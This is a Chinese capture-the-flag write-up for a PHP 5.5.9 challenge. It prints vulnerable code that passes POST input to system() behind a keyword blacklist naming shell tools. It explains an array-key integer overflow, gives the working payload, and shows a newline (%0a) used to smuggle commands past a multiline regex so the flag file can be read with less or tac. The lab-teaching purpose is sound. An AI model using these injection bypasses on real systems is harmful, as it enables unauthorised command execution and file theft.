考点:代码审计、正则表达式绕过、整型溢出
flag条件:1、使用post方式提交;2、需要强等于同时首元素不等;3、绕过正则表达式和黑名单
<?php
//php5.5.9
$stuff = $_POST["stuff"];//使用post方式提交
$array = ['admin', 'user'];//创建一个数组包含admin,user
if($stuff === $array && $stuff[0] != 'admin') {//既要stuff强等于array同时又要首元素不等,类型与数值相等,且stuff[0]不等于admin
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){//一个正则表达式,^和$分别匹配字符串开头和结尾,/d表示匹配数字,/i作用是不区分大小写,/m作用是修改^和$在正则表达式中的作用,让它们分别表示行首和行尾。
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){//黑名单
echo "my favorite num is:";//输出
system("echo ".$num);//执行
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
利用php5.5.9整型溢出溢出漏洞,stuff[2^32]=stuff[0]
类型 | 占用字节数 | 取值范围 |
---|---|---|
int | 4 | -2147483648~2147483647 |
short int | 2 | -32768~32767 |
long int | 4 | -2147483648~2147483647 |
unsign int | 4 | 0~4294967295 |
unsigned short int | 2 | 0~65535 |
unsigned short int | 4 | 0~4294967295 |
数组key溢出,构造4294967296即为0
payload:stuff[4294967296]=admin&stuff[1]=user&num=2333
尝试绕过数字检测,使用换行符%0a绕过跨行匹配
注:这里不能使用hackbar,火狐会自动将换行符%0a前面加上回车符%0d,导致绕过失败,可以使用burpsuite抓包改包
使用ls /查看根目录
本来使用cat /flag即可获得flag,可惜cat和flag被拉入黑名单,尝试使用其他查看文件内容的方法,如:tec,less,more等等
方法一:使用less、tec获得flag
方法二:使用ls -i寻找flag的inode号
然后,读取flag